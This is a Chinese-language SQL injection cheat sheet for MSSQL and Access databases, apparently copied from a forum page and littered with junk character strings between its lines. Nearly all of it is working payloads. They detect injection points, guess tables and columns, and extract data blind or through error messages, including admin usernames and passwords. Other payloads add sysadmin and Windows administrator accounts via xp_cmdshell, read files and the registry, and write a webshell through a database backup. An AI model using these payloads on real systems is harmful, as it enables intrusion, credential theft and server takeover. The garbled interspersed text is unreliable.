1.判断是否有注入
3 p) p- [% P4 I! U! @" N+ \2 ^' g;and 1=1 ; P9 x+ \0 q4 j7 @
;and 1=2
( F5 p+ Z# b4 P% \7 w7 v6 R* t! R, O1 C `
2.初步判断是否是mssql
: E4 z8 M% l8 A& ];and user>0 9 m( L! S [' \ J: T: Y+ M
1 u. K! R" c9 g. k; V! u3.判断数据库系统
- v D8 \0 x6 ]8 r;and (select count(*) from sysobjects)>0 mssql / v* v8 v R" f: A' i# J2 W- ]
;and (select count(*) from msysobjects)>0 access * h; _$ N7 F& {8 K6 _
. n- a- B5 k& [8 }
4.注入参数是字符 & Q; O' t) W# u3 }
'and [查询条件] and ''=' 3 O( Q2 @+ b X5 C0 R" R5 _2 X
& X j6 n, A8 A; T
5.搜索时没过滤参数的 ' W! T: s8 u* q% e0 _
'and [查询条件] and '%25'=' , ^5 P) y$ ]" z# u4 O
, K2 L# ?( F) p' K6 ?' W6.猜数表名
: i c. O3 ? J+ l$ n8 L7 e;and (select Count(*) from [表名])>0 3 F9 ]+ O, c$ L# `
; u: W( Z3 I( @7.猜字段
. O7 X% U$ g; ~; b( [! z, ];and (select Count(字段名) from 表名)>0
- o. b/ r8 L) B4 I) D, `5 F( {* D* Q6 C" e" L9 x! z/ c
8.猜字段中记录长度
! g: r7 w3 R' J" e" q% l, N g$ M;and (select top 1 len(字段名) from 表名)>0 * V, p0 q+ @3 E1 A
6 h' e" k3 U, j" L) T( X. v2 f
9.(1)猜字段的ascii值(access)
/ t6 p. R) p4 f;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 }9 [5 }9 R V6 l) }" z% K; S& w5 m0 @4 x3 H* ?7 d% R$ G
(2)猜字段的ascii值(mssql) K. ?* W& F% j8 W/ v
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
1 x" H! c7 F2 x* u
o- I0 p% g$ h6 z! q* i3 I$ k10.测试权限结构(mssql) 7 C0 t/ V5 W+ L8 Z
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 ~ o4 e+ z; H2 @;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - Q# T6 A W. i2 n$ c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- V- N R1 F, o, }; Y% p5 f% l
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % y" F, ]% ]/ b2 x( I
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
3 V4 G7 u) G0 p7 u1 @, u;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 z$ {2 V$ r: |# V& c
;and 1=(select IS_MEMBER('db_owner'));-- - p+ F' Q) x$ H
% n$ f1 }- k6 f, y9 K% h/ S+ N7 U
11.添加mssql和系统的帐户
, ?! { ]" ^1 Q+ p& v+ y2 n;exec master.dbo.sp_addlogin username;-- ' R# [% H+ u) L7 B: P- k
;exec master.dbo.sp_password null,username,password;-- 3 Q5 _3 O) T4 C! z/ n1 k) D+ h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - P& |9 K! M! o% o3 w
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
* a5 D+ | j7 v; T2 \;exec master.dbo.xp_cmdshell 'net user username password /add';-- ) b" f* J$ ]. {) c
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9 Q3 Z4 \4 Q7 M* E
+ }) z% c$ U3 L" U& ^12.(1)遍历目录 $ P/ J: x, P( w' ~' s& {
;create table dirs(paths varchar(100), id int) 3 @! m+ C2 \3 r0 S7 m" I. A6 o" g
;insert dirs exec master.dbo.xp_dirtree 'c:\' ' f2 n6 T. W0 x5 t$ n* g0 \
;and (select top 1 paths from dirs)>0 ' ^8 u9 k# m4 n7 t! ^% N+ L; ~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ w- Y5 R2 h8 e& {! \, F8 E1 ?* b/ K* `5 D3 g
(2)遍历目录
& j' t' C5 a8 v, j;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# K; {8 X3 {* W1 W;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ @; i! W2 W9 g* V$ o$ W% T;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . b$ \/ Q: l/ ~& s
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
- f# W+ C4 q6 c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 p( \7 D# b) P- o [9 J# t% z
* ]# z1 I# k6 H! \
13.mssql中的存储过程
. Y& S& E! |9 O' U9 n4 P4 ixp_regenumvalues 注册表根键, 子键
; j- X( l% ^3 Q* _ L. ];exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4 n# O: i& O% |6 X- G# j
xp_regread 根键,子键,键值名
8 V& \" R3 N. O9 @! X9 d5 E;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
/ ]$ o) J r* P: m" @3 I; Bxp_regwrite 根键,子键, 值名, 值类型, 值 - s+ p3 F5 C5 q0 Z! o
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 f8 a6 l5 |1 o9 R/ Q+ {/ p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
2 s- H9 o" ~2 Y0 Q2 Wxp_regdeletevalue 根键,子键,值名 : ~7 N7 K9 g; A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! C- G1 f8 F H7 Q& \xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 n5 W0 r$ R6 T% u4 v7 G6 Y0 z
3 r3 a6 f& C) c) e+ D
14.mssql的backup创建webshell
, u/ ]- \$ w; uuse model
. `( A3 @! Z/ ?8 ocreate table cmd(str image); ( v& V+ o5 S0 \- u
insert into cmd(str) values ('<% Dim oScript %>');
) o; T( ~# z* q" d" Vbackup database model to disk='c:\l.asp';
5 c3 k6 d& A6 ]0 D2 b8 t% g. S% M4 ~7 t) |8 B
15.mssql内置函数
! k D7 \) {) `* m6 j% |;and (select @@version)>0 获得Windows的版本号 % I# Q8 b4 m; u; k' `- n; I$ y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' g8 n8 n: Q9 W! y; U
;and (select user_name())>0 爆当前系统的连接用户 6 ?' t x8 j) S- F
;and (select db_name())>0 得到当前连接的数据库 : l. ^, q$ T' ?7 F n- M
2 o' c, x$ K) ]; L) D; ^5 s' L
1 d4 Q- w$ }# q" g8 s, _* T* c5 f% o
MSSQL手注暴库
# f- n* s) }0 A+ p+ W- m4 T+ d. F }! {( n3 Z
1.暴出当前表名和列名
* Y) }6 N- ~* ?- |: K& u在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
- t! c1 w' D' j3 C' m, g V: L; U6 c. M
第一.爆出所有数据库名
$ z2 e/ e' p, c0 w& I; l) L利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
% X+ J" C5 h$ m4 c. [& G( u* p第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。6 w/ {. H0 K6 {2 n
) s7 E: H6 d8 E2 l
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名3 H7 M4 M$ V! Q' g
; P6 Y& @. g5 D" Z: f4 a. G4 o0 C4 P3 K$ e# j
第二.爆出指定库中的所有表名+ S) ]' ^9 _2 L" U) s, r/ A
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
! f/ C$ O$ `" c3 e5 K) f再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。0 y5 {) E9 w2 ^0 U
3 ^2 ?3 x+ O; w \- mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
. { l& t, A9 P; dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--% `" s4 R0 v9 D% E* t: h
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--: G' z# j1 s1 }8 V
0 o+ I/ q G+ {5 n% n: ?4.爆出指定表中的所有列名& F2 Q1 @! M0 z: P
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) - F! t& w9 J6 N, Y' a
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'0 n$ W8 I4 L! P0 w; H$ P W
" Q& |7 o! n* t- ?* ]# N, a; @0 ~and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名1 E: e3 u c6 o7 k5 i6 G* c
) o" ?! K4 F F" B8 O
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- / e, T$ j" c( C: N/ N
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。' x" R3 z5 c8 A+ k. F& r; K$ w8 n
# G- G V9 ]1 G' V1 L+ _3 q) [6 @* J! e/ h0 U; ~9 W3 R
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
+ O6 B V' ~' X5 t# V, M" e7 _6 o
9 [' L3 R: c* ]and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名 l3 c6 T( u6 B4 z" v
) P! ~1 a2 ^0 ~- k I, j$ d
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
0 g/ m: s" b4 O- j5 l$ j( a% u) b% X
4 W: o( J0 S! x# l
2 s- g5 S; \6 d5 ?
5.读取指定表中的数据, a8 ^' M# g$ S% c5 {% {5 S. u" N
2 V( k/ E, J, g9 }) Rand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; x y, o* R' F5 ~3 c: T8 P
& D5 m% _ U1 [' b. `% J7 b: o
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
- p4 c: N) H* Z
, V& I5 w' D: ]( rand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
, z+ U. _! {$ F- j: `
* M3 |; L; y# v1 p4 ?! O9 X! Z& [0 t0 o! t/ `9 K
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)9 M' k" @$ t% z4 Q+ z
. ~8 p( q' o/ a% }9 ~
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang): Y8 r5 b) K; Q6 V. `8 C" C
( G$ X5 G. h+ U3 Y' F* m, f9 h
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--0 d8 y+ U. j- Y8 s
: l: _1 I# h; c) E知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。8 h! v+ q g4 [& x& e& P* T: K+ g* ~
|